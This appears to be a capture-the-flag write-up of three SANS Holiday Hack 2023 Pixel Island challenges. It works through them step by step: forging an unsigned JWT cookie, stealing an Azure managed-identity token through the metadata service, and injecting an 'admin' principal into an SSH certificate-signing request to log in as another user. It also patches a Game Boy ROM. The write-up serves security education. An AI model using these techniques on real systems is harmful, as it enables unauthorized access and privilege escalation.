Skip to content

Pixel Island⚓︎

Embark on your journey to Pixel Island by steering our ship using the arrow keys on the keyboard or the WASD keys. The island awaits in the top-right corner of the map. Safe travels and enjoy the exploration!

map

There are two different ports available:

Port of Rainmaster Cliffs⚓︎

While exploring the Pixel Island, we discover the Port of Rainmaster Cliffs. Upon reaching it, a "Dock Now" option is presented to us.

docknow

When we make land, we obtain a new objective on arrival.

Elf Hunt (Pixel Island)

Piney Sappington needs a lesson in JSON web tokens. Hack Elf Hunt and score 75 points.

The dock featured the Goose of Pixel Island to greet us!

dock

Full Island (Zoomed Out)

zoom30

Elf Hunt⚓︎

Elf Hunt (Pixel Island)

Piney Sappington needs a lesson in JSON web tokens. Hack Elf Hunt and score 75 points.

If we proceed to the right of the dock, and up a ladder. We find Piney Sappington close to a challenge and started it up!

piney

When speaking with Piney Sappington, we obtain the following hint:

JWT Secrets Revealed

Unlock the mysteries of JWTs with insights from PortSwigger's JWT Guide.

When we startup the challenge, it spins up a elf-shooting game:

startup

Clicking on the Hint button (lower-left corner), we can get a hint on how to complete the challenge.

hint

We can find JWT parsing utilities when analyzing the main JavaScript code at https://elfhunt.org/static//js/main.js:

function parseJwtPayload(token) {
  // Split the JWT into its three parts
  const parts = token.split(".");
  // The payload is the second part. We decode it from base64 and parse the JSON
  try {
    const decodedPayload = atob(parts[1]);
    const jsonObj = JSON.parse(decodedPayload);
    return jsonObj;
  } catch (e) {
    console.error("Failed to parse JWT payload", e);
    return null;
  }
}

function getCookie(name) {
  // This function will read the cookie by name
  const value = `; ${document.cookie}`;
  const parts = value.split(`; ${name}=`);
  if (parts.length === 2) return parts.pop().split(";").shift();
  return null;
}

function getDecodedJwtPayload(cookiename) {
  // This function retrieves the JWT from the cookie and decodes it
  const jwt = getCookie(cookiename);
  if (jwt) {
    return parseJwtPayload(jwt);
  } else {
    console.log("JWT not found");
    return null;
  }
}

We can also see references on to a JWT in the browser cookies. Inspecting the browser cookies, we see an ElfHunt_JWT.

browser

Using an JWT inspection utility (https://jwt.io/), we can see the payload contains the speed variable. We can attempt to manipulate this and reload the application.

jwt

We can also use Python to generate our new JWT easier.

elfhunt.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""This script is used to manipulate a JWT.
Holiday Hack 2023
Terminal: ElfHunt
"""

# Imports
import json
import jwt

# Original ElfHunt_JWT Cookie
token_orig = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzcGVlZCI6LTUwMH0."
json_orig = jwt.decode(token_orig, algorithms=["none"], options={"verify_signature": False})
print(f"Original ElfHunt_JWT - Encoded JWT: {token_orig} Decoded Payload: {json.dumps(json_orig)}")

# Modified ElfHunt_JWT Cookie
json_modified = json_orig
json_modified["speed"] = -100
token_mainipulated = jwt.encode(json_modified, algorithm=None, key=None)
print(f"Modified ElfHunt_JWT - Encoded JWT: {token_mainipulated} Decoded Payload: {json.dumps(json_modified)}")
$ python3 elfhunt.py
Original ElfHunt_JWT - Encoded JWT: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzcGVlZCI6LTUwMH0. Decoded Payload: {"speed": -500}
Modified ElfHunt_JWT - Encoded JWT: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzcGVlZCI6LTEwMH0. Decoded Payload: {"speed": -100}

We manually go to Developer Tools (F12), Storage, and Cookies on the Left. Go to https://elfhunt.org cookies. Clear all the cookies and then readd a ElfHunt_JWT with the new JWT that was generated above that lowers the speed of the elves! Note, the speed value is, so lower speeds (more negative) are faster and higher speeds (more positive) are slower.

jwt

Going from -500 to -100 in speed, the elves are drastically reduced in speed and the game in completeable! After manually shooting 75 elves, we get a Game Token and successfully complete the challenge.

congrats

Achievement

Congratulations! You have completed the Elf Hunt challenge!

Clicking the Game Token, a Captains Journal pops up:

gamejournal

We unlocked a new objective:

Certificate SSHenanigans (Pixel Island)

Go to Pixel Island and review Alabaster Snowball's new SSH certificate configuration and Azure Function App. What type of cookie cache is Alabaster planning to implement?

Certificate SSHenanigans⚓︎

Certificate SSHenanigans (Pixel Island)

Go to Pixel Island and review Alabaster Snowball's new SSH certificate configuration and Azure Function App. What type of cookie cache is Alabaster planning to implement?

If we keep proceeding to the right of Piney Sappington, there are about 3 ladders to climb up to the top of the tree. We find Alabaster Snowball on the very top of the tree!

piney

When speaking with Alabaster Snowball, we obtain the following two hints on the next objective:

Azure Function App Source Code

The get-source-control Azure REST API endpoint provides details about where an Azure Web App or Function App is deployed from.

SSH Certificates Talk

Check out Thomas Bouve's talk and demo to learn all about how you can upgrade your SSH server configuration to leverage SSH certificates.

We also obtained a hint previously from Sparkle Redberry:

Azure VM Access Token

Azure CLI tools aren't always available, but if you're on an Azure VM you can always use the Azure REST API instead.

SSH Server⚓︎

Alabaster Snowball

I could use your help with my fancy new Azure server at ssh-server-vm.santaworkshopgeeseislands.org.

Verifying the SSH server exists at ssh-server-vm.santaworkshopgeeseislands.org:

nc -zv ssh-server-vm.santaworkshopgeeseislands.org 22
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Connected to 20.253.83.128:22.
Ncat: 0 bytes sent, 0 bytes received in 0.08 seconds.

Generate SSH key for the monitor user, per Alabaster Snowball "Generate yourself a certificate and use the monitor account to access the host. See if you can grab my TODO list."

ssh-keygen -C 'monitor@ssh-server-vm.santaworkshopgeeseislands.org' -f monitor_key

Using the Azure Function App, we can obtain our SSH certificate public key:

azure

Pasting in our monitor_key.pub contents, we can obtain the certificate signed key!

$ cat monitor_key.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDC0B3vLBqyEzwQwNS+JWVQqscbyHxsCH1u2i1Z0yGwu+RAw0u577RHKwM+njMZKLhqqhfJ94UffIClEZUvEFFIoigvij/cWQEKg6lRylCe2kmQOgv0qDr0kprm4J1kRTdvbsj7OIyYqeoHZRK0RNWTHqg1tBc2zVQr9SYw9x/NlJiLf5ZgZ25K9DMdS/lEB6Ugxw4GR/dOdf7EkVY3RI+IPo+pKKO6TClb294eKacJPAcePavEqjIyrAT71fWnrdmmSKLebxj6O8mg4lWAvdSOgbECubna9v7tyqX71JrBXQ/Pz91DPR9V6Owwv7jIiWas3Pq2TpqpA7xhVesfudD5t0pwUrjT58xkxK3FT4DFui+gI2pHFgxd+4kpqlx2JDGFeI/t4ft5uUmv+j++1s+suknk5VLvTn28HO8e2lEiUIXw2GrtH8s8QaWA4bm8BBzRL+ITSrI0AGGnJPpdexpgFz7wo95uXaQHOEmTV3HlwJ7jrJfT7CtMJ4U6AkmjcD8= monitor@ssh-server-vm.santaworkshopgeeseislands.org

request

{
    "ssh_cert": "rsa-sha2-512-cert-v01@openssh.com AAAAIXJzYS1zaGEyLTUxMi1jZXJ0LXYwMUBvcGVuc3NoLmNvbQAAACY3NTIzODI0MTMxMzU5Njc5MzgyMzIxMjA5ODE4NTA1NzIzOTgzMAAAAAMBAAEAAAGBAMLQHe8sGrITPBDA1L4lZVCqxxvIfGwIfW7aLVnTIbC75EDDS7nvtEcrAz6eMxkouGqqF8n3hR98gKURlS8QUUiiKC+KP9xZAQqDqVHKUJ7aSZA6C/SoOvSSmubgnWRFN29uyPs4jJip6gdlErRE1ZMeqDW0FzbNVCv1JjD3H82UmIt/lmBnbkr0Mx1L+UQHpSDHDgZH9051/sSRVjdEj4g+j6koo7pMKVvb3h4ppwk8Bx49q8SqMjKsBPvV9aet2aZIot5vGPo7yaDiVYC91I6BsQK5udr2/u3KpfvUmsFdD8/P3UM9H1Xo7DC/uMiJZqzc+rZOmqkDvGFV6x+50Pm3SnBSuNPnzGTErcVPgMW6L6AjakcWDF37iSmqXHYkMYV4j+3h+3m5Sa/6P77Wz6y6SeTlUu9Ofbwc7x7aUSJQhfDYau0fyzxBpYDhubwEHNEv4hNKsjQAYack+l17GmAXPvCj3m5dpAc4SZNXceXAnuOsl9PsK0wnhToCSaNwPwAAAAAAAAABAAAAAQAAACQ3MjIzN2QxMi1lMDg0LTRjZjktODIwNi1kODkwY2U5N2IzZGEAAAAHAAAAA2VsZgAAAABlklPUAAAAAGW3PwAAAAAAAAAAEgAAAApwZXJtaXQtcHR5AAAAAAAAAAAAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIGk2GNMCmJkXPJHHRQH9+TM4CRrsq/7BL0wp+P6rCIWHAAAAUwAAAAtzc2gtZWQyNTUxOQAAAEAk8QbYMZQR3/qvp4fctazkOO7wSCUZvMpV7/2j+Co210tUEX8HrA5iO2u7VqtxLDZjxf1MRd9u11iA8KomuvAL ",
    "principal": "elf"
}
echo -n 'rsa-sha2-512-cert-v01@openssh.com AAAAIXJzYS1zaGEyLTUxMi1jZXJ0LXYwMUBvcGVuc3NoLmNvbQAAACY3NTIzODI0MTMxMzU5Njc5MzgyMzIxMjA5ODE4NTA1NzIzOTgzMAAAAAMBAAEAAAGBAMLQHe8sGrITPBDA1L4lZVCqxxvIfGwIfW7aLVnTIbC75EDDS7nvtEcrAz6eMxkouGqqF8n3hR98gKURlS8QUUiiKC+KP9xZAQqDqVHKUJ7aSZA6C/SoOvSSmubgnWRFN29uyPs4jJip6gdlErRE1ZMeqDW0FzbNVCv1JjD3H82UmIt/lmBnbkr0Mx1L+UQHpSDHDgZH9051/sSRVjdEj4g+j6koo7pMKVvb3h4ppwk8Bx49q8SqMjKsBPvV9aet2aZIot5vGPo7yaDiVYC91I6BsQK5udr2/u3KpfvUmsFdD8/P3UM9H1Xo7DC/uMiJZqzc+rZOmqkDvGFV6x+50Pm3SnBSuNPnzGTErcVPgMW6L6AjakcWDF37iSmqXHYkMYV4j+3h+3m5Sa/6P77Wz6y6SeTlUu9Ofbwc7x7aUSJQhfDYau0fyzxBpYDhubwEHNEv4hNKsjQAYack+l17GmAXPvCj3m5dpAc4SZNXceXAnuOsl9PsK0wnhToCSaNwPwAAAAAAAAABAAAAAQAAACQ3MjIzN2QxMi1lMDg0LTRjZjktODIwNi1kODkwY2U5N2IzZGEAAAAHAAAAA2VsZgAAAABlklPUAAAAAGW3PwAAAAAAAAAAEgAAAApwZXJtaXQtcHR5AAAAAAAAAAAAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIGk2GNMCmJkXPJHHRQH9+TM4CRrsq/7BL0wp+P6rCIWHAAAAUwAAAAtzc2gtZWQyNTUxOQAAAEAk8QbYMZQR3/qvp4fctazkOO7wSCUZvMpV7/2j+Co210tUEX8HrA5iO2u7VqtxLDZjxf1MRd9u11iA8KomuvAL' > monitor_key-cert.pub

Now we can use our private key and signed certificate public key to SSH into the server:

ssh -i monitor_key -i monitor_key-cert.pub monitor@ssh-server-vm.santaworkshopgeeseislands.org

When we initially login, we get a Satellite Tracking Interface GUI. However, we can CTRL+C out of it.

sattracker

monitor@ssh-server-vm:~$

The SatTrackr application that starts up is located /usr/local/bin/sattrackr that can be found in our ~/.bashrc file.

Azure Enumeration⚓︎

We can now enumerate our Azure environment by using curl and jq to acquire an access token:

accessToken=$(curl -s 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -H 'Metadata: true' | jq -r '.access_token')

Back on Christmas Island, we completed Azure101 and obtained information on the resource-group already that is relevant to the challenge:

elf@058d72e304f5:~$ az functionapp list --resource-group northpole-rg1 | less
[
  {
    "appServicePlanId": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/serverfarms/EastUSLinuxDynamicPlan",
    "availabilityState": "Normal",
    "clientAffinityEnabled": false,
    "clientCertEnabled": false,
    "clientCertExclusionPaths": null,
    "clientCertMode": "Required",
    "cloningInfo": null,
    "containerSize": 0,
    "customDomainVerificationId": "201F74B099FA881DB9368A26C8E8B8BB8B9AF75BF450AF717502AC151F59DBEA",
    "dailyMemoryTimeQuota": 0,
    "defaultHostName": "northpole-ssh-certs-fa.azurewebsites.net",
    "enabled": true,
    "enabledHostNames": [
      "northpole-ssh-certs-fa.azurewebsites.net"
    ],
    "extendedLocation": null,
    "hostNameSslStates": [
      {
        "certificateResourceId": null,
        "hostType": "Standard",
        "ipBasedSslResult": null,
        "ipBasedSslState": "NotConfigured",
        "name": "northpole-ssh-certs-fa.azurewebsites.net",
        "sslState": "Disabled",
        "thumbprint": null,
        "toUpdate": null,
        "toUpdateIpBasedSsl": null,
        "virtualIPv6": null,
        "virtualIp": null
      },
      {
        "certificateResourceId": null,
        "hostType": "Repository",
        "ipBasedSslResult": null,
        "ipBasedSslState": "NotConfigured",
        "name": "northpole-ssh-certs-fa.scm.azurewebsites.net",
        "sslState": "Disabled",
        "thumbprint": null,
        "toUpdate": null,
        "toUpdateIpBasedSsl": null,
        "virtualIPv6": null,
        "virtualIp": null
      }
    ],
    "hostNames": [
      "northpole-ssh-certs-fa.azurewebsites.net"
    ],
..[snip]..
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/pro
viders/Microsoft.Web/sites/northpole-ssh-certs-fa",
    "identity": {
      "principalId": "d3be48a8-0702-407c-89af-0319780a2aea",
      "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
      "type": "SystemAssigned",
      "userAssignedIdentities": null
    },
    "inProgressOperationId": null,
    "isDefaultContainer": null,
    "isXenon": false,
    "keyVaultReferenceIdentity": "SystemAssigned",
    "kind": "functionapp,linux",
    "lastModifiedTimeUtc": "2023-11-09T14:43:01.183333",
    "location": "East US",
    "maxNumberOfWorkers": null,
    "name": "northpole-ssh-certs-fa",
    "outboundIpAddresses": "",
    "possibleOutboundIpAddresses": "",
    "publicNetworkAccess": null,
    "redundancyMode": "None",
    "repositorySiteName": "northpole-ssh-certs-fa",
    "reserved": true,
    "resourceGroup": "northpole-rg1",
..[snip]..
    "tags": {
      "create-cert-func-url-path": "/api/create-cert?code=candy-cane-twirl",
      "project": "northpole-ssh-certs"
    },
..[snip]..

Looking into the hint "The get-source-control Azure REST API endpoint provides details about where an Azure Web App or Function App is deployed from" we can get details on this application:

curl -s -H "Authorization: Bearer $accessToken" 'https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web?api-version=2022-03-01' | jq .
{
  "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web",
  "name": "northpole-ssh-certs-fa",
  "type": "Microsoft.Web/sites/sourcecontrols",
  "location": "East US",
  "tags": {
    "project": "northpole-ssh-certs",
    "create-cert-func-url-path": "/api/create-cert?code=candy-cane-twirl"
  },
  "properties": {
    "repoUrl": "https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa",
    "branch": "main",
    "isManualIntegration": false,
    "isGitHubAction": true,
    "deploymentRollbackEnabled": false,
    "isMercurial": false,
    "provisioningState": "Succeeded",
    "gitHubActionConfiguration": {
      "codeConfiguration": null,
      "containerConfiguration": null,
      "isLinux": true,
      "generateWorkflowFile": true,
      "workflowSettings": {
        "appType": "functionapp",
        "publishType": "code",
        "os": "linux",
        "variables": {
          "runtimeVersion": "3.11"
        },
        "runtimeStack": "python",
        "workflowApiVersion": "2020-12-01",
        "useCanaryFusionServer": false,
        "authType": "publishprofile"
      }
    }
  }
}

Inspect Github Repository⚓︎

We can clone it and analyze the source-code:

git clone https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa
Cloning into 'northpole-ssh-certs-fa'...
code northpole-ssh-certs-fa

Inspecting the parse_input function, we can see there is hidden a principle field that can be used during the signing process:

principle

We can enumerate the principle <-> Linux username mapping as follows:

monitor@ssh-server-vm:~$ find /etc/ssh/auth_principals/ -type f -print -exec cat {} \;
/etc/ssh/auth_principals/monitor
elf
/etc/ssh/auth_principals/alabaster
admin

Thus, we can create a new private key for alabaster, with the principle name of admin, we will be able to login!

ssh-keygen -C 'alabaster@ssh-server-vm.santaworkshopgeeseislands.org' -f alabaster_key
cat alabaster_key.pub

Intercept and add principle to request:

POST /api/create-cert?code=candy-cane-twirl HTTP/2
Host: northpole-ssh-certs-fa.azurewebsites.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 626

{"ssh_pub_key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDbkxc5uZcmhZ/stqbt6xuw3U0JrUDcoyYoO0jW9ZVfr461d3jzuClaozhddNn7CMoSxZws9pewBBfIRJbMWDhy+6qLq7c+emlAXoC7VFW0RsTNSiyfR0N0EXIRDN+Hwm7wJAa2ZYC3KW397eEkeiR4XpZe27za0UQeQuE0Yo6/4jquxJ56Ucy/4xQ50TWHqWZm5ytHGTgnoGUHVxmeaaGZ72d1uy6E5G+tnNeZm2m0Gf/Cqryrn1Zn4h8KpMoLDqVbLldS3ixx/1ftbpBEObh1j2Cw+psD82ECrQeQA8iXoEBuR27avmH6Nv1Bwn/ISMplMU4QUWKIEsWE+WPOyAcYb0LwYLYaHxcH/mLIb0cI8ojeAKKqHdbeIHc5WKkakw9pabcdmDQa7Z9k6yA/XmtniSDg6neyg8IMv1ThjN/f2Hu+68bakixTKl6tUxrtXWPQTwsU+wtOfEl+a5VEiy/kJl0pqBhrfcHzfggMrtifIR+VUNv6Zq5yGgeQG9dFQ1s= alabaster@ssh-server-vm.santaworkshopgeeseislands.org","principal":"admin"}

requestssh

Response:

{
    "ssh_cert": "rsa-sha2-512-cert-v01@openssh.com AAAAIXJzYS1zaGEyLTUxMi1jZXJ0LXYwMUBvcGVuc3NoLmNvbQAAACcyNDc1NjkyMzA0MTI0NjkwNDM2Mzk3MTExNzE3MTU5Mjc3NzUyMjIAAAADAQABAAABgQDbkxc5uZcmhZ/stqbt6xuw3U0JrUDcoyYoO0jW9ZVfr461d3jzuClaozhddNn7CMoSxZws9pewBBfIRJbMWDhy+6qLq7c+emlAXoC7VFW0RsTNSiyfR0N0EXIRDN+Hwm7wJAa2ZYC3KW397eEkeiR4XpZe27za0UQeQuE0Yo6/4jquxJ56Ucy/4xQ50TWHqWZm5ytHGTgnoGUHVxmeaaGZ72d1uy6E5G+tnNeZm2m0Gf/Cqryrn1Zn4h8KpMoLDqVbLldS3ixx/1ftbpBEObh1j2Cw+psD82ECrQeQA8iXoEBuR27avmH6Nv1Bwn/ISMplMU4QUWKIEsWE+WPOyAcYb0LwYLYaHxcH/mLIb0cI8ojeAKKqHdbeIHc5WKkakw9pabcdmDQa7Z9k6yA/XmtniSDg6neyg8IMv1ThjN/f2Hu+68bakixTKl6tUxrtXWPQTwsU+wtOfEl+a5VEiy/kJl0pqBhrfcHzfggMrtifIR+VUNv6Zq5yGgeQG9dFQ1sAAAAAAAAAAQAAAAEAAAAkNGE1MmE5M2ItMTQ0Zi00NTlmLWIwNmMtYWJiNzZhOWVkZDZiAAAACQAAAAVhZG1pbgAAAABlkmx6AAAAAGW3V6YAAAAAAAAAEgAAAApwZXJtaXQtcHR5AAAAAAAAAAAAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIGk2GNMCmJkXPJHHRQH9+TM4CRrsq/7BL0wp+P6rCIWHAAAAUwAAAAtzc2gtZWQyNTUxOQAAAEBd6C8kibu7YgCGShIAM7tTVaU5jZBNbRVO053H72pK22rA6WCDKggnWMciPBWiZt9af2afDLOcNrNCC7Xug08D",
    "principal": "admin"
}

SSH as Alabaster⚓︎

$ echo -n 'rsa-sha2-512-cert-v01@openssh.com AAAAIXJzYS1zaGEyLTUxMi1jZXJ0LXYwMUBvcGVuc3NoLmNvbQAAACcyNDc1NjkyMzA0MTI0NjkwNDM2Mzk3MTExNzE3MTU5Mjc3NzUyMjIAAAADAQABAAABgQDbkxc5uZcmhZ/stqbt6xuw3U0JrUDcoyYoO0jW9ZVfr461d3jzuClaozhddNn7CMoSxZws9pewBBfIRJbMWDhy+6qLq7c+emlAXoC7VFW0RsTNSiyfR0N0EXIRDN+Hwm7wJAa2ZYC3KW397eEkeiR4XpZe27za0UQeQuE0Yo6/4jquxJ56Ucy/4xQ50TWHqWZm5ytHGTgnoGUHVxmeaaGZ72d1uy6E5G+tnNeZm2m0Gf/Cqryrn1Zn4h8KpMoLDqVbLldS3ixx/1ftbpBEObh1j2Cw+psD82ECrQeQA8iXoEBuR27avmH6Nv1Bwn/ISMplMU4QUWKIEsWE+WPOyAcYb0LwYLYaHxcH/mLIb0cI8ojeAKKqHdbeIHc5WKkakw9pabcdmDQa7Z9k6yA/XmtniSDg6neyg8IMv1ThjN/f2Hu+68bakixTKl6tUxrtXWPQTwsU+wtOfEl+a5VEiy/kJl0pqBhrfcHzfggMrtifIR+VUNv6Zq5yGgeQG9dFQ1sAAAAAAAAAAQAAAAEAAAAkNGE1MmE5M2ItMTQ0Zi00NTlmLWIwNmMtYWJiNzZhOWVkZDZiAAAACQAAAAVhZG1pbgAAAABlkmx6AAAAAGW3V6YAAAAAAAAAEgAAAApwZXJtaXQtcHR5AAAAAAAAAAAAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIGk2GNMCmJkXPJHHRQH9+TM4CRrsq/7BL0wp+P6rCIWHAAAAUwAAAAtzc2gtZWQyNTUxOQAAAEBd6C8kibu7YgCGShIAM7tTVaU5jZBNbRVO053H72pK22rA6WCDKggnWMciPBWiZt9af2afDLOcNrNCC7Xug08D' > alabaster_key-cert.pub

$ ssh -i alabaster_key -i alabaster_key-cert.pub alabaster@ssh-server-vm.santaworkshopgeeseislands.org

alabaster@ssh-server-vm:~$ id
uid=1000(alabaster) gid=1000(alabaster) groups=1000(alabaster),1002(sshallow)

alabaster@ssh-server-vm:~$ ls -la
total 36
drwx------ 1 alabaster alabaster 4096 Nov  9 14:07 .
drwxr-xr-x 1 root      root      4096 Nov  3 16:50 ..
-rw-r--r-- 1 alabaster alabaster  220 Apr 23  2023 .bash_logout
-rw-r--r-- 1 alabaster alabaster 3665 Nov  9 17:03 .bashrc
drwxr-xr-x 3 alabaster alabaster 4096 Nov  9 14:07 .cache
-rw-r--r-- 1 alabaster alabaster  807 Apr 23  2023 .profile
drwxr-xr-x 6 alabaster alabaster 4096 Nov  9 14:07 .venv
-rw------- 1 alabaster alabaster 1126 Nov  9 14:07 alabaster_todo.md
drwxr-xr-x 2 alabaster alabaster 4096 Nov  9 14:07 impacket

alabaster@ssh-server-vm:~$ cat alabaster_todo.md
# Geese Islands IT & Security Todo List
- [X] Sleigh GPS Upgrade: Integrate the new "Island Hopper" module into Santa's sleigh GPS. Ensure Rudolph's red nose doesn't interfere with the signal.
- [X] Reindeer Wi-Fi Antlers: Test out the new Wi-Fi boosting antler extensions on Dasher and Dancer. Perfect for those beach-side internet browsing sessions.
- [ ] Palm Tree Server Cooling: Make use of the island's natural shade. Relocate servers under palm trees for optimal cooling. Remember to watch out for falling coconuts!
- [ ] Eggnog Firewall: Upgrade the North Pole's firewall to the new EggnogOS version. Ensure it blocks any Grinch-related cyber threats effectively.
- [ ] Gingerbread Cookie Cache: Implement a gingerbread cookie caching mechanism to speed up data retrieval times. Don't let Santa eat the cache!
- [ ] Toy Workshop VPN: Establish a secure VPN tunnel back to the main toy workshop so the elves can securely access to the toy blueprints.
- [ ] Festive 2FA: Roll out the new two-factor authentication system where the second factor is singing a Christmas carol. Jingle Bells is said to be the most secure.

We enter in the answer into our badge for the objective: Answer: gingerbread

Achievement

Congratulations! You have completed the SSH/API challenge!

After speaking with Alabaster Snowball again, we obtained the following hint:

Misconfiguration ADventures

Certificates are everywhere. Did you know Active Directory (AD) uses certificates as well? Apparently the service used to manage them can have misconfigurations too.

Port of Driftbit Grotto⚓︎

While exploring the Pixel Island, we discover the Port of Driftbit Grotto. Upon reaching it, a "Dock Now" option is presented to us.

docknow

The dock featured Tinsel Upatree to greet us!

dock

When we make land, we obtain new objectives on arrival.

Game Cartridges: Vol 1 (Island of Misfit Toys)

Find the first Gamegosling cartridge and beat the game

Game Cartridges: Vol 2 (Pixel Island)

Find the second Gamegosling cartridge and beat the game

Game Cartridges: Vol 3 (Steampunk Island)

Find the third Gamegosling cartridge and beat the game

Full Island (Zoomed Out)

zoom30

Game Cartridges: Vol 2⚓︎

Game Cartridges: Vol 2 (Pixel Island)

Find the second Gamegosling cartridge and beat the game

When speaking with Tinsel Upatree, we obtain the following hint:

Gameboy 2

Try poking around Pixel Island. There really aren't many places you can go here, so try stepping everywhere and see what you get!

Finding the Game Cartridge⚓︎

The game cartridge was found just to the left of Tinsel Upatree!

cartridge

We can now find the "Elf the Dwarf’s, Gloriously, Unfinished, Adventure! - Vol2" in our Items:

item

When we click on the game in our inventory, it launches from https://gamegosling.com/vol2-akHB27gg6pN0/ with two different Gameboy ROMs to choose from: game0.gb and game1.gb.

wget https://gamegosling.com/vol2-akHB27gg6pN0/rom/game0.gb -O game0-vol2.gb
wget https://gamegosling.com/vol2-akHB27gg6pN0/rom/game1.gb -O game1-vol2.gb

Speaking with TInsel Upatree after we obtained the game cartridge, we obtain the following hint:

Gameboy 2

This feels the same, but different! 2) If it feels like you are going crazy, you probably are! Or maybe, just maybe, you've not yet figured out where the hidden ROM is hiding. 3) I think I may need to get a DIFFerent perspective. 4) I wonder if someone can give me a few pointers to swap.

Vol 2 Initial Gameplay⚓︎

Using visualboyadvance-m to emulate a GameBoy, it has a lot of tools to help analyze and hack a gameboy game.

visualboyadvance-m game0-vol2.gb

In visualboyadvance-m emulator, the K key is mapped to B, and L key is mapped to A. The WASD keys are to move.

Opening up the game, we are displayed with COUNTER HACK Presents - Elf the Dwarf's Gloriously Unfinished, Adventure! - Vol. 2:

gamestartup

gamestartup

*PREVIOUSLY ON HOLIDAY HACK*
Jared: Elf, have  you ever heard of a miner named Tom Liston?
Elf: Blah blah blah...
I'm not listening to this again!
Glooooooory!

After the speech, we exit the cave:

exitcave

Exiting the cave:

exitcave

Trying to move our way past T-Wiz we are turned around ...

movetwiz

Now lets try with game1-vol2.gb:

visualboyadvance-m game1-vol2.gb

movetwiz

Trying to move our way past T-Wiz we are turned around ...

movetwiz

Bypassing T-Wiz⚓︎

Comparing ROMs⚓︎

Comparing the two different Gameboy ROMs of game0.gb and game1.gb:

$ sdiff <(xxd game0-vol2.gb) <(xxd game1-vol2.gb) | fgrep ' | '
00000140: 0000 0000 3030 001b 0203 0033 0142 71b3  ....00.... | 00000140: 0000 0000 3030 001b 0203 0033 0142 7186  ....00....
00000590: 5405 050b 4b9a 2300 0000 0000 06ad 4210  T...K.#... | 00000590: 5405 05d2 ac3d 2d00 0000 0000 06ad 4210  T....=-...
00016a80: 2080 0c80 0300 000f f807 0000 0000 0f10   ......... | 00016a80: 2080 0c80 0b00 000f f807 0000 0000 0f10   .........
00016ab0: 0000 0000 2000 0600 0900 000f f807 0000  .... ..... | 00016ab0: 0000 0000 2000 0600 0600 000f f807 0000  .... .....
00017c80: 0200 fe80 002a 0013 fffe fffb 13ff ffff  .....*.... | 00017c80: 0100 fe80 002a 0013 fffe fffb 13ff ffff  .....*....
00018500: 1204 2103 c60d 5701 1400 00ff fc14 0280  ..!...W... | 00018500: 1204 2103 c60d 5701 1400 00ff fc14 0300  ..!...W...
00018510: fffd 140b 80ff fe35 fffc 3200 fffc 2703  .......5.. | 00018510: fffd 1404 00ff fe35 fffc 3200 fffc 2703  .......5..

$ cmp -l game0-vol2.gb game1-vol2.gb | gawk '{printf "%08X %02X %02X\n", $1, strtonum(0$2), strtonum(0$3)}'
00000150 B3 86 # Header

00000594 0B D2
00000595 4B AC
00000596 9A 3D
00000597 23 2D

00016A85 03 0B

00016AB9 09 06

00017C81 02 01 # Decreased

0001850F 02 03
00018510 80 00
00018514 0B 04
00018515 80 00
Ghidra Analysis⚓︎

Using the GhidraBoy extension, we are able to load the GameBoy ROM within ghidra and reverse the program!

ghidra

Radare Analysis⚓︎

Using radare2, we were able to find a cross-reference to "You shall not pass" at the address 0x00017bf0.

$ xxd game0-vol2.gb | grep -B2 pass
00017bf0: 2512 0440 0054 2d77 697a 3a20 596f 7520  %..@.T-wiz: You
00017c00: 7368 616c 6c0a 6e6f 7420 7061 7373 2121  shall.not pass!!

[0x00000100]> izzq~pass
0x47bf5 29 28 T-wiz: You shall\nnot pass!!!
[0x00000100]> axt @0x17bf0
(nofunc) 0x7834 [UNKNOWN] ld a, [aav.0x00017bf0]

This is helpful as looking at the comparisons of ROMs, 0x00017bf0 is close to 0x00017C81.

Hex Edit⚓︎

Looking back at the hex-comparison of game versions, the data at 0x00017C81 decreased and is close to where the "You shall not pass" is referenced.

So we change 02 to 01 in game0-vol2.gb to match the same value in game0-vol1.gb using Curses Hexeditor v0.9.7:

hexeditor game0-vol2.gb

Use CTRL+T to 00017C81

hexedit

In game0 - using radare2 to inspect before and after our change in game0-vol2.gb, s is used to seek to the address and pd is used to print disassembly. Note: we seek to 0x47C80 as the 4 denotes ROM4.

radare

In game1 - we can use radare2 to inspect before and after our change in game1-vol2.gb, s is used to seek to the address and pd is used to print disassembly. Note: we seek to 0x47C80 as the 4 denotes ROM4.

radare

Booting up the patched version of game-vol2-patched, T-wiz still says "You shall not pass" but he does not kick us back! Past him, there is a portal for us to go through.

patched

Morse-Code Decoder⚓︎

When interacting with the portal, we end up in a room with ChatNPT on the left and a radio on the right.

morse

When selecting ChatNPT it says "I love old-timey radio." When selecting the radio it starts playing beeps that are similar to morse-code.

We can record the audio using VisualBoyAdvance:

recordaudio

From there, I used an online morse decoder tool and it decoded the sound to GL0RY. Note, the 0 is a number.

recordaudiodecoded

We enter in the answer into our badge for the objective: Answer: gl0ry

Achievement

